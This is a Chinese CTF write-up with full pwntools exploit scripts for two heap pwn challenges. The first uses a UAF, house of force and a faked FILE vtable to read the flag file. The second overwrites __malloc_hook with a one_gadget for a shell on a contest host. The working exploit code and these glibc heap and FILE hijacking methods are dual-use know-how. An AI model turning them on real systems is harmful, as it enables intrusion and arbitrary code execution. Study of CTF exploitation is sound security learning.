记录一下巅峰极客的两道pwn,比赛只出了第一道,第二道PWN是赛后复现的,感觉很值得一学,对理解IOFILE很有帮助。

Pwn

题目分析

保护全开,乍看add、delete、show、change全有

然而仔细一看这个change往块里读的是stream的内容

而stream是fopen("/dev/urandom", "r");得到的fd

delete存在UAF

add要求块数量<=0xF,大小>0x7F,块的地址必须在[heapbase,heapbase+0x600]

show,没什么特别的

利用

  1. 泄露libc和heap base
  2. 构造overlap改top的size,利用house_of_force在堆基地址分配块,改stream的内容
  3. 改stream的fileno为0即stdin,可以正常输入,这样就可以修正top chunk的size,否则后面的malloc函数和free函数都不能使用。
  4. 改stream的vtable->__xsgetn为fopen,恰当构造“./flag”和“r”字符串,可以在change的时候fopen(“./flag”,”r”)。
  5. 将stream的vtable的内容改回正常的值(只需将vtable->__xsgetn 和 vtable->__read改为正常值即可)
  6. change随便一个块,因为此时stream的fileno为fopen(“./flag”,”r”)得到的文件描述符,所以flag的值会被写入该块,随后show该块即可得到flag

详解写在注释里了。懒得在虚拟机里安中文输入法,我的塑料英文嘿嘿。。

from pwn import *
context.log_level = 'debug'
context(arch = 'amd64', os = 'linux')
ti="./pwn1"
debug=1
if debug==0:
    io = remote()
elif debug==1:
    io =  process(ti)
elf=ELF(ti)    
libc=ELF("./libc.so.6")
s       = lambda data               :io.send(str(data)) 
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)

def add(index,size,content): #16
    ru('Choice:')
    sl(1)    
    ru('input your index:\n')
    sl(index)
    ru('input your size:\n')#>=0x80
    sl(size)
    ru('input your context:\n')
    sl(content)

def delete(index):
    ru('Choice:')
    sl(2)    
    ru('input your index:\n')
    sl(index)

def show(index):
    ru('Choice:')
    sl(3)    
    ru('input your index:\n')
    sl(index)    

def change1(index):
    ru('Choice:')
    sl(4)    
    ru('input your index:\n')
    sl(index)

def change2(index, content):
    ru('Choice:')
    sl(4)    
    ru('input your index:\n')
    sl(index)
    sleep(0.1)
    s(content)

add(0,0x100-8,'0')
add(1,0x100-8,'1')
add(2,0x90-8,'2')
add(3,0x90-8,'3')#avoid cosolidate with top

#leak libc
delete(0)
show(0)
ru('note[0]: ')
leak=u64(ru('\n').ljust(8,'\x00'))
libc.address=leak-0x3c4b78
log.success("libc base: "+hex(libc.address))

#leak heap base
delete(2)
show(2)
ru('note[2]: ')
leak=u64(ru('\n').ljust(8,'\x00'))
heap_base=leak-0x230
log.success("heap base : "+hex(heap_base))

#overlap
add(4,0x90-8,'2'*(0x28)+p64(0x61))#get 2
delete(1)
add(5,0x100-8+0x100,'\x00'*(0x100-8)+p64(0x131))#get 0 and 1 in one chunk
delete(1)#cosolidate 1 and part of 2 to a 0x130 chunck
delete(3)#rise top
delete(4)#rise top
add(6,0x130-8,'\x00'*(0x100-8)+p64(0xffffffffffffffff))#change top size

#house_of_force to get the IO_FILE
add(7,-0x430-8,"1")

#set fileno 0 => stdin
fake = p64(0xfbad248b) + p64(heap_base+0x93)*7 + p64(heap_base + 0x94) + p64(0x0)*4 +p64(libc.address +0x3c5540) 
fake += p64(0x0) #fileno
fake += p64(0x0)*2 + p64(heap_base +0xf0) + p64(0xffffffffffffffff) + p64(0x0) + p64(heap_base+0x100) +p64(0x0)*6
add(8, 0x110-8, fake)

#recover top size
add(9, 0x130-8, 'b')
change2(0, p64(0x0) + p64(0x20dc1) +'\x00'*0xf0)

#set fd="./flag" and fileno 4 and vtable
fake = "./flag\x00\x00" + p64(heap_base+0x93)*7 + p64(heap_base + 0x94) + p64(0x0)*4 + p64(libc.address+0x3c5540) 
fake += p64(0x4) #set fileno 4 which fopen("./flag","r") 
fake += p64(0x0)*2 + p64(heap_base+0xf0) +  p64(0xffffffffffffffff)+ p64(0x0) + p64(heap_base+0x100)+p64(0x0)*6 
fake += p64(heap_base+0x250)#vtable
change2(8, fake.ljust(0x110-8, '\x00'))

#fake vtable
fake_vtable = p64(0x0)*8 
fake_vtable += p64(libc.address + 0x6dd70)#vtable->__xsgetn => _IO_new_fopen 
#glibc2.23 define fopen(fname, mode) _IO_new_fopen (fname, mode)
add(0xc, 0x80,fake_vtable)
add(0xd, 0x80, "r")
change1(0xd) #fread("r",1,0x80,stream) => __GI__IO_file_xsgetn(stream, "r", 1*0x80); <=> fopen("./flag","r") #0x80 is useless
#there will be a new IOFILE whose fileno is 4

#change vtable to a normal one
delete(0xc)
fake_vtable2 = p64(0x0)*8
fake_vtable2 += p64(libc.address + 0x78ec0)#vtable->__xsgetn =>__GI__IO_file_xsgetn
fake_vtable2 += p64(0x0)*5 
fake_vtable2 += p64(libc.address + 0x791a0)#vtable->__read => __GI__IO_file_read
add(0xe, 0x80, fake_vtable2)

#any number is okay 
#change1(0x9)#fread(notes[0x9],1,0x88,stream)
#show(0x9)
change1(0xc)#fread(notes[0x9],1,0x88,stream)
show(0xc)

io.interactive()

此外

  • 这题给了一个hint是 vtable fake,但我觉得fileno才是关键。

  • 自己试了一下改stream的vtable为onegadget,试图通过exit时 _IO_flush_all_lockp 来getshell,但是没成功,以后再试试吧,失败的exp就不贴了。

巅峰极客wp

Snote

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

context(arch = 'amd64', os = 'linux')

debug=0
if debug==0:
    io = remote("55fca716.gamectf.com",37009)
    elf=ELF("./Snote")
elif debug==1:
    io =  process("./Snote")
    elf=ELF("./Snote")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

s       = lambda data               :io.send(str(data)) 
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)

def add(size,content):
    ru('Your choice > ')
    sl(1)    
    ru('Size > ')
    sl(size)
    ru('Content > \n')
    s(content)
def show():#once
    ru('Your choice > ')
    sl(2)    
def delete():#once
    ru('Your choice > ')
    sl(3)    
def edit(size,content):
    ru('Your choice > ')
    sl(4)    
    ru('Size > ')
    sl(size)
    ru('Content > \n')
    s(content)

ru("What's your name?\n")
sl("Q1IQ")
c="1"
add(0x70-8,"0"*(0x70-8))
add(0x70-8,"1"*(0x70-8))
edit(0x70,"2"*(0x70-8)+p64(0xf21))
add(0x1000,"3")
add(0x70-8,"0"*8)
show()
leak=u64(ru("Done")[8:16])
log.success(hex(leak))
libc.address=leak-0x3c5188
log.success(hex(libc.address))
delete()
edit(8,p64(libc.address+0x3c4b10-0x23))
add(0x70-8,"0"*(0x70-8))
onegadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
onegadget=libc.address+onegadgets[2]
c="d"*0xB+p64(0)+p64(onegadget)+'\x00'*8
#c="d"*0xB+p64(onegadget)+p64(libc.symbols['realloc'])+'\x00'*8
add(0x70-8,c)
ru('Your choice > ')
sl(1)    
ru('Size > ')
sl(0x10)
io.interactive()